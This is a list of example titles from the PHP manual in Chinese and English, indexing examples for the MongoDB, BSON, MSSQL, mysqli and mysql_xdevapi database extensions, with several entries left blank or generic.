  • Example#1454 - 面向对象风格
  • Example#1455 - 过程化风格
  • Example#1456 - 面向对象风格
  • Example#1457 - 过程化风格
  • Example#1458 - 面向对象风格
  • Example#1459 - 过程化风格
  • Example#1460 - 面向对象风格
  • Example#1461 - 过程化风格
  • Example#1462 - 面向对象风格
  • Example#1463 - 过程化风格
  • Example#1464 - 面向对象风格
  • Example#1465 - 过程化风格
  • Example#1466 - 面向对象风格
  • Example#1467 - 过程化风格
  • Example#1468 - 面向对象风格
  • Example#1469 - 过程化风格
  • Example#1470 - 面向对象风格
  • Example#1471 - 过程化风格
  • Example#1472 - 面向对象风格
  • Example#1473 - 过程化风格
  • Example#1474 - 面向对象风格
  • Example#1475 - 过程化风格
  • Example#1476 - 面向对象风格
  • Example#1477 - 过程化风格
  • Example#1478 - 面向对象风格
  • Example#1479 - 过程化风格
  • Example#1480 - 面向对象风格
  • Example#1481 - 过程化风格
  • Example#1482 -
  • Example#1483 -
  • Example#1484 -
  • Example#1485 -
  • Example#1486 -
  • Example#1487 -
  • Example#1488 -
  • Example#1489 -
  • Example#1490 -
  • Example#1491 -
  • Example#1492 -
  • Example#1493 -
  • Example#1494 -
  • Example#1495 -
  • Example#1496 -
  • Example#1497 - 查询串语法的读取首选项URI链接
  • Example#1498 - Setting read preferences with array syntax for tag sets
  • Example#1499 - Passing a WriteConcern to a write operation
  • Example#1500 - Connection string WriteConcerns
  • Example#1501 - MongoDB::setWriteConcern and MongoCollection::setWriteConcern
  • Example#1502 - Unacknowledged WriteConcern, followed with Acknowledged Write
  • Example#1503 - Acknowledged Writes
  • Example#1504 - Majority Acknowledged Write
  • Example#1505 - Acknowledged and Journaled Write
  • Example#1506 - 针对“admin”数据库的认证
  • Example#1507 - 针对一般数据库的认证
  • Example#1508 - 链接到一个复制
  • Example#1509 -
  • Example#1510 -
  • Example#1511 -
  • Example#1512 -
  • Example#1513 -
  • Example#1514 - Inheriting read preferences from the database level down to the cursor
  • Example#1515 -
  • Example#1516 -
  • Example#1517 -
  • Example#1518 -
  • Example#1519 -
  • Example#1520 -
  • Example#1521 -
  • Example#1522 - MongoClient 基本用法
  • Example#1523 - MongoClient::close 例子
  • Example#1524 - MongoClient::__construct 集群例子
  • Example#1525 - 连接到一个域套接字（domain socket）
  • Example#1526 - MongoClient::__construct 验证的例子
  • Example#1527 - MongoClient::__construct 读取选项例子
  • Example#1528 - MongoClient::getConnections 例子
  • Example#1529 - MongoClient::getReadPreference 返回值例子
  • Example#1530 - MongoClient::getWriteConcern return value example
  • Example#1531 - MongoClient::killCursor example
  • Example#1532 - MongoClient::listDBs 例子
  • Example#1533 - MongoClient::selectCollection 例子
  • Example#1534 - MongoClient::setReadPreference 标签集数组语法的例子
  • Example#1535 - MongoClient::setWriteConcern example
  • Example#1536 - 选择一个数据库
  • Example#1537 - MongoDB::command "distinct"实例
  • Example#1538 - MongoDB::command "distinct"实例
  • Example#1539 - MongoDB::command MapReduce实例
  • Example#1540 - MongoDB::command "textSearch"实例
  • Example#1541 - MongoDB::command "geoNear"实例
  • Example#1542 - MongoDB::createCollection 固定大小集合 实例
  • Example#1543 - MongoDB::createDBRef实例
  • Example#1544 - MongoDB::createDBRef实例
  • Example#1545 - MongoDB::drop 例子
  • Example#1546 - 简单的 MongoDB::execute 实例
  • Example#1547 - 带参数的 MongoDB::execute 实例
  • Example#1548 - 作用域实例
  • Example#1549 - MongoDB::getCollectionInfo example
  • Example#1550 - MongoDB::getCollectionNames example
  • Example#1551 - MongoDB::getDBRef example
  • Example#1552 - MongoDB::getGridFS example
  • Example#1553 - MongoDB::getReadPreference return value example
  • Example#1554 - MongoDB::getWriteConcern return value example
  • Example#1555 - MongoDB::lastError NULL error example
  • Example#1556 - MongoDB::lastError duplicate key example
  • Example#1557 - MongoDB::listCollections example
  • Example#1558 - MongoDB::repair example
  • Example#1559 - MongoDB::setReadPreference tag set array syntax example
  • Example#1560 - MongoDB::setWriteConcern example
  • Example#1561 - MongoCollection::aggregate example
  • Example#1562 - MongoCollection::aggregate example
  • Example#1563 - MongoCollection::aggregate example
  • Example#1564 - MongoCollection::aggregate with command options
  • Example#1565 - MongoCollection::aggregateCursor example
  • Example#1566 - MongoCollection::aggregateCursor example with different initial batch size
  • Example#1567 - MongoCollection::batchInsert example
  • Example#1568 - MongoCollection::batchInsert example with ignoring errors
  • Example#1569 - MongoCollection::count 例子
  • Example#1570 - MongoCollection::createDBRef 例子
  • Example#1571 - MongoCollection::createIndex example
  • Example#1572 - Geospatial Indexing
  • Example#1573 - Drop duplicates example
  • Example#1574 - MongoCollection::deleteIndex example
  • Example#1575 - MongoCollection::deleteIndexes 例子
  • Example#1576 - MongoCollection::distinct 例子
  • Example#1577 - 内嵌文档的 MongoCollection::distinct 例子
  • Example#1578 - MongoCollection::drop 例子
  • Example#1579 - MongoCollection::ensureIndex example
  • Example#1580 - Geospatial Indexing
  • Example#1581 - Drop duplicates example
  • Example#1582 - MongoCollection::find 例子
  • Example#1583 - MongoCollection::find 例子
  • Example#1584 - 使用 $where 的 MongoCollection::find 例子
  • Example#1585 - 使用 $in 的 MongoCollection::find 例子
  • Example#1586 - 以数组形式获取结果集
  • Example#1587 - MongoCollection::findAndModify example
  • Example#1588 - MongoCollection::findAndModify error handling
  • Example#1589 - MongoCollection::findOne document by its id.
  • Example#1590 - MongoCollection::findOne document by some condition.
  • Example#1591 - MongoCollection::getDBRef example
  • Example#1592 - MongoCollection::getIndexInfo example
  • Example#1593 - MongoCollection::getName 例子
  • Example#1594 - MongoCollection::getReadPreference return value example
  • Example#1595 - MongoCollection::getWriteConcern return value example
  • Example#1596 - MongoCollection::group example
  • Example#1597 - MongoCollection::group example
  • Example#1598 - Passing a keys function
  • Example#1599 - MongoCollection::insert _id 例子
  • Example#1600 - MongoCollection::insert 确认写入的例子
  • Example#1601 - MongoCollection::parallelCollectionScan example
  • Example#1602 - MongoCollection::remove 的 justOne 例子
  • Example#1603 - MongoCollection::save 例子
  • Example#1604 - MongoCollection::setReadPreference tag set array syntax example
  • Example#1605 - MongoDB::setWriteConcern example
  • Example#1606 - MongoCollection::toIndexString example
  • Example#1607 - MongoCollection::__toString example
  • Example#1608 - MongoCollection::update
  • Example#1609 - MongoCollection::update upsert examples
  • Example#1610 - MongoCollection::update multiple example
  • Example#1611 - MongoCursor basic usage
  • Example#1612 - Iterating over MongoCursor
  • Example#1613 - Adding options to MongoCursor
  • Example#1614 - Adding a comment with MongoCursor::addOption example
  • Example#1615 - MongoCursor::addOption example
  • Example#1616 - MongoCursor::awaitData example
  • Example#1617 - MongoCursor::batchSize and combinations with MongoCursor::limit
  • Example#1618 - MongoCursor::count example
  • Example#1619 - MongoCursor::doQuery example
  • Example#1620 - MongoCursor::explain example
  • Example#1621 - MongoCursor::getReadPreference return value example
  • Example#1622 - MongoCursor::info example
  • Example#1623 - MongoCursor::maxTimeMS example
  • Example#1624 - MongoCursor::setFlag example
  • Example#1625 - MongoCursor::setReadPreference tag set array syntax example
  • Example#1626 - MongoCursor::slaveOkay example
  • Example#1627 - MongoCursor::sort example
  • Example#1628 - MongoCursor::tailable example
  • Example#1629 - MongoCursor::timeout example
  • Example#1630 - Adding options to MongoCommandCursor
  • Example#1631 - MongoCommandCursor::batchSize
  • Example#1632 - MongoCommandCursor example
  • Example#1633 - MongoCommandCursor::createFromDocument
  • Example#1634 - MongoCommandCursor::getReadPreference return value example
  • Example#1635 - MongoCommandCursor::info example
  • Example#1636 - MongoCommandCursor::rewind
  • Example#1637 - MongoCommandCursor::setReadPreference tag set array syntax example
  • Example#1638 - MongoCommandCursor::timeout example
  • Example#1639 - MongoId::__construct 例子
  • Example#1640 - 参数的例子
  • Example#1641 - MongoId::__toString 例子
  • Example#1642 - MongoCode::__construct 例子
  • Example#1643 - 使用具有 $where 的 MongoCode
  • Example#1644 - MongoCode::__toString 例子
  • Example#1645 - Storing dates with MongoDate
  • Example#1646 - MongoDate::__construct 例子
  • Example#1647 - MongoDate::toDateTime example
  • Example#1648 - 正则表达式
  • Example#1649 - MongoRegex::__construct 例子
  • Example#1650 - MongoRegex::__toString 例子
  • Example#1651 -
  • Example#1652 - 链接文档
  • Example#1653 - Creating MongoDBRef links
  • Example#1654 - MongoDBRef::create 例子
  • Example#1655 - MongoCollection::createDBRef 例子
  • Example#1656 - MongoGridFS::findOne example
  • Example#1657 - MongoGridFS::storeBytes with additional metadata
  • Example#1658 - MongoGridFS::storeFile with additional metadata
  • Example#1659 - MongoGridFS::storeUpload HTML form example
  • Example#1660 - MongoGridFSFile::getBytes example
  • Example#1661 - MongoGridFSFile::getResource example
  • Example#1662 - MongoGridFSFile::write example
  • Example#1663 - MongoLog::setCallback example
  • Example#1664 - Changing pool size
  • Example#1665 - Mongo::setPoolSize example
  • Example#1666 - Changing pool size
  • Example#1667 - Mongo::setPoolSize example
  • Example#1668 - MongoResultException::getDocument 例子
  • Example#1669 - Catching MongoDuplicateKeyException
  • Example#1670 - Catching MongoProtocolException
  • Example#1671 - MongoDB\Driver\Manager::__construct basic example
  • Example#1672 - MongoDB\Driver\Manager::__construct basic examples
  • Example#1673 - MongoDB\Driver\Manager::executeBulkWrite example
  • Example#1674 - MongoDB\Driver\Manager::executeCommand with a command returning a single result document
  • Example#1675 - MongoDB\Driver\Manager::executeCommand with a command returning a cursor
  • Example#1676 - Limiting execution time for a command
  • Example#1677 - MongoDB\Driver\Manager::executeQuery example
  • Example#1678 - Limiting execution time for a query
  • Example#1679 - MongoDB\Driver\Manager::getReadConcern example
  • Example#1680 - MongoDB\Driver\Manager::getReadPreference example
  • Example#1681 - MongoDB\Driver\Manager::getServers example
  • Example#1682 - MongoDB\Driver\Manager::getWriteConcern example
  • Example#1683 - Composing MongoDB\Driver\Command to provide a helper to create collections
  • Example#1684 - MongoDB\Driver\Command::__construct example
  • Example#1685 - MongoDB\Driver\Command::__construct example
  • Example#1686 - MongoDB\Driver\Query::__construct example
  • Example#1687 - Mixed write operations are grouped by type
  • Example#1688 - Ordered write operations causing an error
  • Example#1689 - MongoDB\Driver\BulkWrite::__construct example
  • Example#1690 - MongoDB\Driver\BulkWrite::count example
  • Example#1691 - MongoDB\Driver\BulkWrite::delete example
  • Example#1692 - MongoDB\Driver\BulkWrite::insert example
  • Example#1693 - MongoDB\Driver\BulkWrite::update example
  • Example#1694 - MongoDB\Driver\WriteConcern::bsonSerialize with majority write concern
  • Example#1695 - MongoDB\Driver\WriteConcern::bsonSerialize with wtimeout and journal
  • Example#1696 - MongoDB\Driver\WriteConcern::__construct example
  • Example#1697 - MongoDB\Driver\WriteConcern::getJournal example
  • Example#1698 - MongoDB\Driver\WriteConcern::getW example
  • Example#1699 - MongoDB\Driver\WriteConcern::getWtimeout example
  • Example#1700 - MongoDB\Driver\WriteConcern::isDefault example
  • Example#1701 - MongoDB\Driver\ReadPreference::bsonSerialize with primary read preference
  • Example#1702 - MongoDB\Driver\ReadPreference::bsonSerialize with secondary read preference and tag sets
  • Example#1703 - MongoDB\Driver\ReadPreference::bsonSerialize with secondary read preference and max staleness
  • Example#1704 - MongoDB\Driver\ReadPreference::__construct example
  • Example#1705 - MongoDB\Driver\ReadPreference::getMaxStalenessSeconds example
  • Example#1706 - MongoDB\Driver\ReadPreference::getMode example
  • Example#1707 - MongoDB\Driver\ReadPreference::getTagSets example
  • Example#1708 - MongoDB\Driver\ReadConcern::bsonSerialize with empty read concern
  • Example#1709 - MongoDB\Driver\ReadConcern::bsonSerialize with local read concern
  • Example#1710 - MongoDB\Driver\ReadConcern::__construct example
  • Example#1711 - MongoDB\Driver\ReadConcern::getLevel example
  • Example#1712 - MongoDB\Driver\ReadConcern::isDefault example
  • Example#1713 - Reading a result set
  • Example#1714 - Reading a result set for a tailable cursor
  • Example#1715 - MongoDB\Driver\Cursor::getId example
  • Example#1716 - MongoDB\Driver\Cursor::getServer example
  • Example#1717 - MongoDB\Driver\Cursor::isDead example
  • Example#1718 - MongoDB\Driver\Cursor::setTypeMap example
  • Example#1719 - MongoDB\Driver\Cursor::toArray example
  • Example#1720 - MongoDB\Driver\CursorId::__toString example
  • Example#1721 - MongoDB\Driver\Server::getHost example
  • Example#1722 - MongoDB\Driver\Server::getInfo example
  • Example#1723 - MongoDB\Driver\Server::getLatency example
  • Example#1724 - MongoDB\Driver\Server::getPort example
  • Example#1725 - MongoDB\Driver\WriteConcernError::getCode example
  • Example#1726 - MongoDB\Driver\WriteConcernError::getInfo example
  • Example#1727 - MongoDB\Driver\WriteConcernError::getMessage example
  • Example#1728 - MongoDB\Driver\WriteError::getCode example
  • Example#1729 - MongoDB\Driver\WriteError::getIndex example
  • Example#1730 - MongoDB\Driver\WriteError::getMessage example
  • Example#1731 - MongoDB\Driver\WriteResult::getDeletedCount example
  • Example#1732 - MongoDB\Driver\WriteResult::getInsertedCount example
  • Example#1733 - MongoDB\Driver\WriteResult::getMatchedCount example
  • Example#1734 - MongoDB\Driver\WriteResult::getModifiedCount example
  • Example#1735 - MongoDB\Driver\WriteResult::getServer example
  • Example#1736 - MongoDB\Driver\WriteResult::getUpsertedCount example
  • Example#1737 - MongoDB\Driver\WriteResult::getUpsertedIds example
  • Example#1738 - MongoDB\Driver\WriteResult::getWriteConcernError example
  • Example#1739 - MongoDB\Driver\WriteResult::getWriteErrors with a single error
  • Example#1740 - MongoDB\Driver\WriteResult::getWriteErrors with multiple errors
  • Example#1741 - MongoDB\Driver\WriteResult::isAcknowledged with acknowledged write concern
  • Example#1742 - MongoDB\Driver\WriteResult::isAcknowledged with unacknowledged write concern
  • Example#1743 - MongoDB\BSON\fromJSON example
  • Example#1744 - MongoDB\BSON\fromPHP example
  • Example#1745 - MongoDB\BSON\toCanonicalExtendedJSON example
  • Example#1746 - MongoDB\BSON\toJSON example
  • Example#1747 - MongoDB\BSON\toPHP example
  • Example#1748 - MongoDB\BSON\toRelaxedExtendedJSON example
  • Example#1749 - MongoDB\BSON\Binary::__construct example
  • Example#1750 - MongoDB\BSON\Binary::getData example
  • Example#1751 - MongoDB\BSON\Binary::getType example
  • Example#1752 - MongoDB\BSON\Binary::__toString example
  • Example#1753 - MongoDB\BSON\Decimal128::__construct example
  • Example#1754 - MongoDB\BSON\Decimal128::__toString example
  • Example#1755 - MongoDB\BSON\Javascript::__construct example
  • Example#1756 - MongoDB\BSON\Javascript::getCode example
  • Example#1757 - MongoDB\BSON\Javascript::getScope example
  • Example#1758 - MongoDB\BSON\Javascript::__toString example
  • Example#1759 - MongoDB\BSON\MaxKey::__construct example
  • Example#1760 - MongoDB\BSON\MinKey::__construct example
  • Example#1761 - MongoDB\BSON\ObjectId::__construct example
  • Example#1762 - MongoDB\BSON\ObjectId::getTimestamp example
  • Example#1763 - MongoDB\BSON\ObjectId::__toString example
  • Example#1764 - MongoDB\BSON\Regex::__construct example
  • Example#1765 - MongoDB\BSON\Regex::getFlags example
  • Example#1766 - MongoDB\BSON\Regex::getPattern example
  • Example#1767 - MongoDB\BSON\Regex::__toString example
  • Example#1768 - MongoDB\BSON\Timestamp::__construct example
  • Example#1769 - MongoDB\BSON\Timestamp::__toString example
  • Example#1770 - MongoDB\BSON\UTCDateTime::__construct example
  • Example#1771 - MongoDB\BSON\UTCDatetime::toDateTime example
  • Example#1772 - MongoDB\BSON\UTCDateTime::__toString example
  • Example#1773 - MongoDB\BSON\Serializable::bsonSerialize returning an associative array for root document
  • Example#1774 - MongoDB\BSON\Serializable::bsonSerialize returning a sequential array for root document
  • Example#1775 - MongoDB\BSON\Serializable::bsonSerialize returning an associative array for document field
  • Example#1776 - MongoDB\BSON\Serializable::bsonSerialize returning a sequential array for document field
  • Example#1777 - MongoDB\BSON\Unserializable::bsonUnserialize example
  • Example#1778 - MongoDB\BSON\Int64::__toString example
  • Example#1779 - MongoDB\Driver\Exception\WriteException::getWriteResult example
  • Example#1780 - mSQL usage example
  • Example#1781 - msql_fetch_array example
  • Example#1782 - msql_fetch_object example
  • Example#1783 - msql_fetch_row example
  • Example#1784 - msql_query example
  • Example#1785 - mssql_bind example
  • Example#1786 - mssql_close 例子
  • Example#1787 - mssql_connect 例子
  • Example#1788 - mssql_data_seek example
  • Example#1789 - mssql_execute example
  • Example#1790 - mssql_fetch_array example
  • Example#1791 - mssql_fetch_assoc example
  • Example#1792 - mssql_fetch_batch example
  • Example#1793 - mssql_fetch_field example
  • Example#1794 - mssql_fetch_object example
  • Example#1795 - mssql_fetch_row example
  • Example#1796 - mssql_field_length example
  • Example#1797 - mssql_field_name example
  • Example#1798 - Using mssql_field_seek on the example for mssql_fetch_field
  • Example#1799 - mssql_field_type example
  • Example#1800 - mssql_free_result example
  • Example#1801 - mssql_free_statement example
  • Example#1802 - mssql_get_last_message example
  • Example#1803 - mssql_guid_string example
  • Example#1804 - mssql_init example
  • Example#1805 - mssql_min_error_severity example
  • Example#1806 - mssql_min_message_severity example
  • Example#1807 - mssql_next_result example
  • Example#1808 - mssql_num_fields example
  • Example#1809 - mssql_num_rows example
  • Example#1810 - mssql_pconnect using the new_link parameter
  • Example#1811 - mssql_query example
  • Example#1812 - mssql_result example
  • Example#1813 - Faster alternative to above example
  • Example#1814 - mssql_rows_affected example
  • Example#1815 - mssql_select_db example
  • Example#1816 - Escaping the database name with square brackets
  • Example#1817 - Comparing the three MySQL APIs
  • Example#1818 - Configure commands for using mysqlnd or libmysqlclient
  • Example#1819 - Unbuffered query example: mysqli
  • Example#1820 - Unbuffered query example: pdo_mysql
  • Example#1821 - Unbuffered query example: mysql
  • Example#1822 - Problems with setting the character set with SQL
  • Example#1823 - Setting the character set example: mysqli
  • Example#1824 - Setting the character set example: pdo_mysql
  • Example#1825 - Setting the character set example: mysql
  • Example#1826 - Easy migration from the old mysql extension
  • Example#1827 - Object-oriented and procedural interface
  • Example#1828 - Bad coding style
  • Example#1829 - Special meaning of localhost
  • Example#1830 - Setting defaults
  • Example#1831 - Connecting to MySQL
  • Example#1832 - Navigation through buffered results
  • Example#1833 - Navigation through unbuffered results
  • Example#1834 - Text protocol returns strings by default
  • Example#1835 - Native data types with mysqlnd and connection option
  • Example#1836 - First stage: prepare
  • Example#1837 - Second stage: bind and execute
  • Example#1838 - INSERT prepared once, executed multiple times
  • Example#1839 - Less round trips using multi-INSERT SQL
  • Example#1840 - Native datatypes
  • Example#1841 - Output variable binding
  • Example#1842 - Using mysqli_result to fetch results
  • Example#1843 - Buffered result set for flexible read out
  • Example#1844 - Calling a stored procedure
  • Example#1845 - Using session variables
  • Example#1846 - Fetching results from stored procedures
  • Example#1847 - Stored Procedures and Prepared Statements
  • Example#1848 - Stored Procedures and Prepared Statements using bind API
  • Example#1849 - Multiple Statements
  • Example#1850 - SQL Injection
  • Example#1851 - Setting auto commit mode with SQL and through the API
  • Example#1852 - Commit and rollback
  • Example#1853 - Accessing result set meta data
  • Example#1854 - Prepared statements metadata
  • Example#1855 - $mysqli->affected_rows example
  • Example#1856 - mysqli::autocommit example
  • Example#1857 - $mysqli->begin_transaction example
  • Example#1858 - mysqli::change_user example
  • Example#1859 - mysqli::character_set_name example
  • Example#1860 - mysqli::commit example
  • Example#1861 - $mysqli->connect_errno example
  • Example#1862 - $mysqli->connect_error example
  • Example#1863 - mysqli::__construct example
  • Example#1864 - Generating a Trace File
  • Example#1865 - mysqli->errno example
  • Example#1866 - $mysqli->error_list example
  • Example#1867 - $mysqli->error example
  • Example#1868 - $mysqli->field_count example
  • Example#1869 - mysqli::get_charset example
  • Example#1870 - mysqli_get_client_info
  • Example#1871 - mysqli_get_client_version
  • Example#1872 - A mysqli_get_connection_stats 例程
  • Example#1873 - $mysqli->host_info example
  • Example#1874 - $mysqli->protocol_version example
  • Example#1875 - $mysqli->server_info example
  • Example#1876 - $mysqli->server_version example
  • Example#1877 - $mysqli->info 例程
  • Example#1878 - $mysqli->insert_id 例程
  • Example#1879 - mysqli::kill 例程
  • Example#1880 - mysqli::multi_query 例程
  • Example#1881 - mysqli::ping 例程
  • Example#1882 - A mysqli_poll 例程
  • Example#1883 - mysqli::prepare 例程
  • Example#1884 - mysqli::query example
  • Example#1885 - mysqli::real_connect 例子
  • Example#1886 - mysqli::real_escape_string 例程
  • Example#1887 - mysqli::rollback example
  • Example#1888 - mysqli::select_db example
  • Example#1889 - mysqli::set_charset example
  • Example#1890 - mysqli::set_local_infile_handler 例程
  • Example#1891 - $mysqli->sqlstate 例程
  • Example#1892 - mysqli::stat 例程
  • Example#1893 - $mysqli->thread_id 例程
  • Example#1894 - mysqli::use_result example
  • Example#1895 - $mysqli->warning_count example
  • Example#1896 - 面向对象风格
  • Example#1897 - 过程化风格
  • Example#1898 - 面向对象风格
  • Example#1899 - 过程化风格
  • Example#1900 - 面向对象风格
  • Example#1901 - 过程化风格
  • Example#1902 - 面向对象风格
  • Example#1903 - 过程化风格
  • Example#1904 - 面向对象风格
  • Example#1905 - 过程化风格
  • Example#1906 - 面向对象风格
  • Example#1907 - 过程化风格
  • Example#1908 - 面向对象风格
  • Example#1909 - 过程化风格
  • Example#1910 - 面向对象风格
  • Example#1911 - 过程化风格
  • Example#1912 - 面向对象风格
  • Example#1913 - 过程化风格
  • Example#1914 - 面向对象风格
  • Example#1915 - 过程化风格
  • Example#1916 - 面向对象风格
  • Example#1917 - 过程化风格
  • Example#1918 - 面向对象风格
  • Example#1919 - 过程化风格
  • Example#1920 - 面向对象风格
  • Example#1921 - 过程化风格
  • Example#1922 - 面向对象风格
  • Example#1923 - 过程化风格
  • Example#1924 - 面向对象风格
  • Example#1925 - 面向对象风格
  • Example#1926 - 过程化风格
  • Example#1927 - 面向对象风格
  • Example#1928 - 过程化风格
  • Example#1929 - 面向对象风格
  • Example#1930 - 过程化风格
  • Example#1931 - 面向对象风格
  • Example#1932 - 过程化风格
  • Example#1933 - 面向对象风格
  • Example#1934 - 过程化风格
  • Example#1935 - 面向对象风格
  • Example#1936 - 过程化风格
  • Example#1937 - A mysqli_result example comparing iterator usage
  • Example#1938 - 面向对象风格
  • Example#1939 - 过程化风格
  • Example#1940 - 面向对象风格
  • Example#1941 - 过程化风格
  • Example#1942 - 面向对象风格
  • Example#1943 - 过程化风格
  • Example#1944 - 面向对象风格
  • Example#1945 - 过程化风格
  • Example#1946 - 面向对象风格
  • Example#1947 - 过程化风格
  • Example#1948 - 面向对象风格
  • Example#1949 - 过程化风格
  • Example#1950 - 面向对象风格
  • Example#1951 - 过程化风格
  • Example#1952 - 面向对象风格
  • Example#1953 - 过程化风格
  • Example#1954 - 面向对象风格
  • Example#1955 - 过程化风格
  • Example#1956 - 面向对象风格
  • Example#1957 - 过程化风格
  • Example#1958 - mysqli_connect 例程
  • Example#1959 - A mysqli_get_client_stats 例程
  • Example#1960 - Connecting to a MySQL Server
  • Example#1961 - Creating a Schema and Collection on the MySQL Server
  • Example#1962 - Storing and Retrieving Data
  • Example#1963 - Fetching and Iterating Multiple Documents
  • Example#1964 - mysql_xdevapi\Expression example
  • Example#1965 - URI examples
  • Example#1966 - mysql_xdevapi\getSession example
  • Example#1967 - mysql_xdevapi\RowResult::getWarnings example
  • Example#1968 - mysql_xdevapi\RowResult::getWarningsCount example
  • Example#1969 - mysql_xdevapi\Collection::add example
  • Example#1970 - mysql_xdevapi\Collection::addOrReplaceOne example
  • Example#1971 - mysql_xdevapi\Collection::getOne example
  • Example#1972 - mysql_xdevapi\Collection::count example
  • Example#1973 - mysql_xdevapi\Collection::createIndex example
  • Example#1974 - mysql_xdevapi\Collection::dropIndex example
  • Example#1975 - mysql_xdevapi\Collection::existsInDatabase example
  • Example#1976 - mysql_xdevapi\Collection::find example
  • Example#1977 - mysql_xdevapi\Collection::getName example
  • Example#1978 - mysql_xdevapi\Collection::getOne example
  • Example#1979 - mysql_xdevapi\Collection::getSchema example
  • Example#1980 - mysql_xdevapi\Collection::getSession example
  • Example#1981 - mysql_xdevapi\Collection::modify example
  • Example#1982 - mysql_xdevapi\Collection::remove example
  • Example#1983 - mysql_xdevapi\Collection::removeOne example
  • Example#1984 - mysql_xdevapi\Collection::replaceOne example
  • Example#1985 - mysql_xdevapi\CollectionAdd::__construct example
  • Example#1986 - mysql_xdevapi\CollectionAdd::execute example
  • Example#1987 - mysql_xdevapi\CollectionFind::bind example
  • Example#1988 - CollectionFind example
  • Example#1989 - CollectionFind example
  • Example#1990 - mysql_xdevapi\CollectionFind::fields example
  • Example#1991 - mysql_xdevapi\CollectionFind::groupBy example
  • Example#1992 - mysql_xdevapi\CollectionFind::having example
  • Example#1993 - mysql_xdevapi\CollectionFind::limit example
  • Example#1994 - mysql_xdevapi\CollectionFind::lockExclusive example
  • Example#1995 - mysql_xdevapi\CollectionFind::lockShared example
  • Example#1996 - mysql_xdevapi\CollectionFind::offset example
  • Example#1997 - mysql_xdevapi\CollectionFind::sort example
  • Example#1998 - mysql_xdevapi\CollectionModify::arrayAppend example
  • Example#1999 - mysql_xdevapi\CollectionModify::arrayInsert example
  • Example#2000 - mysql_xdevapi\CollectionModify::bind example
  • Example#2001 - mysql_xdevapi\CollectionModify::__construct example
  • Example#2002 - mysql_xdevapi\CollectionModify::execute example
  • Example#2003 - mysql_xdevapi\CollectionModify::limit example
  • Example#2004 - mysql_xdevapi\CollectionModify::patch example
  • Example#2005 - mysql_xdevapi\CollectionModify::replace example
  • Example#2006 - mysql_xdevapi\CollectionModify::set example
  • Example#2007 - mysql_xdevapi\CollectionModify::skip example
  • Example#2008 - mysql_xdevapi\CollectionModify::sort example
  • Example#2009 - mysql_xdevapi\CollectionModify::unset example
  • Example#2010 - mysql_xdevapi\CollectionRemove::bind example
  • Example#2011 - mysql_xdevapi\Collection::remove example
  • Example#2012 - mysql_xdevapi\CollectionRemove::execute example
  • Example#2013 - mysql_xdevapi\CollectionRemove::limit example
  • Example#2014 - mysql_xdevapi\CollectionRemove::sort example
  • Example#2015 - mysql_xdevapi\ColumnResult::__construct example
  • Example#2016 - mysql_xdevapi\ColumnResult::getCharacterSetName example
  • Example#2017 - mysql_xdevapi\ColumnResult::getCollationName example
  • Example#2018 - mysql_xdevapi\ColumnResult::getColumnLabel example
  • Example#2019 - mysql_xdevapi\ColumnResult::getColumnName example
  • Example#2020 - mysql_xdevapi\ColumnResult::getFractionalDigits example
  • Example#2021 - mysql_xdevapi\ColumnResult::getLength example
  • Example#2022 - mysql_xdevapi\ColumnResult::getSchemaName example
  • Example#2023 - mysql_xdevapi\ColumnResult::getTableLabel example
  • Example#2024 - mysql_xdevapi\ColumnResult::getTableName example
  • Example#2025 - mysql_xdevapi\ColumnResult::getType example
  • Example#2026 - mysql_xdevapi\ColumnResult::isNumberSigned example
  • Example#2027 - mysql_xdevapi\ColumnResult::isPadded example
  • Example#2028 - mysql_xdevapi\CrudOperationBindable::bind example
  • Example#2029 - mysql_xdevapi\CrudOperationLimitable::limit example
  • Example#2030 - mysql_xdevapi\CrudOperationSkippable::skip example
  • Example#2031 - mysql_xdevapi\CrudOperationSortable::sort example
  • Example#2032 - mysql_xdevapi\DatabaseObject::existsInDatabase example
  • Example#2033 - mysql_xdevapi\DatabaseObject::getName example
  • Example#2034 - mysql_xdevapi\DatabaseObject::getSession example
  • Example#2035 - A DocResult example
  • Example#2036 - mysql_xdevapi\DocResult::fetchAll example
  • Example#2037 - mysql_xdevapi\DocResult::fetchOne example
  • Example#2038 - mysql_xdevapi\DocResult::getWarnings example
  • Example#2039 - mysql_xdevapi\DocResult::getWarningsCount example
  • Example#2040 - execute() examples
  • Example#2041 - mysql_xdevapi\ExecutionStatus::__construct example
  • Example#2042 - mysql_xdevapi\Expression::__construct example
  • Example#2043 - mysql_xdevapi\Result::__construct example
  • Example#2044 - mysql_xdevapi\Result::getAutoIncrementValue example
  • Example#2045 - mysql_xdevapi\Result::getGeneratedIds example
  • Example#2046 - mysql_xdevapi\RowResult::getWarnings example
  • Example#2047 - mysql_xdevapi\RowResult::getWarningsCount example
  • Example#2048 - mysql_xdevapi\RowResult::__construct example
  • Example#2049 - mysql_xdevapi\RowResult::fetchAll example
  • Example#2050 - mysql_xdevapi\RowResult::fetchOne example
  • Example#2051 - mysql_xdevapi\RowResult::getColumnsCount example
  • Example#2052 - mysql_xdevapi\RowResult::getColumnNames example
  • Example#2053 - mysql_xdevapi\RowResult::getColumns example
  • Example#2054 - mysql_xdevapi\RowResult::getWarnings example
  • Example#2055 - mysql_xdevapi\RowResult::getWarningsCount example
  • Example#2056 - Schema::__construct example
  • Example#2057 - Schema::createCollection example
  • Example#2058 - Schema::dropCollection example
  • Example#2059 - Schema::existsInDatabase example
  • Example#2060 - Schema::getCollection example
  • Example#2061 - Schema::getCollectionAsTable example
  • Example#2062 - mysql_xdevapi\Schema::getCollections example
  • Example#2063 - mysql_xdevapi\Schema::getName example
  • Example#2064 - mysql_xdevapi\Schema::getSession example
  • Example#2065 - mysql_xdevapi\Schema::getTable example
  • Example#2066 - mysql_xdevapi\Schema::getTables example
  • Example#2067 - mysql_xdevapi\Session::getSchema example
  • Example#2068 - mysql_xdevapi\Session::close example
  • Example#2069 - mysql_xdevapi\Session::commit example
  • Example#2070 - mysql_xdevapi\Session::__construct example
  • Example#2071 - mysql_xdevapi\Session::createSchema example
  • Example#2072 - mysql_xdevapi\Session::dropSchema example
  • Example#2073 - mysql_xdevapi\Session::generateUuid example
  • Example#2074 - mysql_xdevapi\Session::getSchema example
  • Example#2075 - mysql_xdevapi\Session::getSchemas example
  • Example#2076 - mysql_xdevapi\Session::getServerVersion example
  • Example#2077 - mysql_xdevapi\Session::listClients example
  • Example#2078 - mysql_xdevapi\Session::quoteName example
  • Example#2079 - mysql_xdevapi\Session::releaseSavepoint example
  • Example#2080 - mysql_xdevapi\Session::rollback example
  • Example#2081 - mysql_xdevapi\Session::rollbackTo example
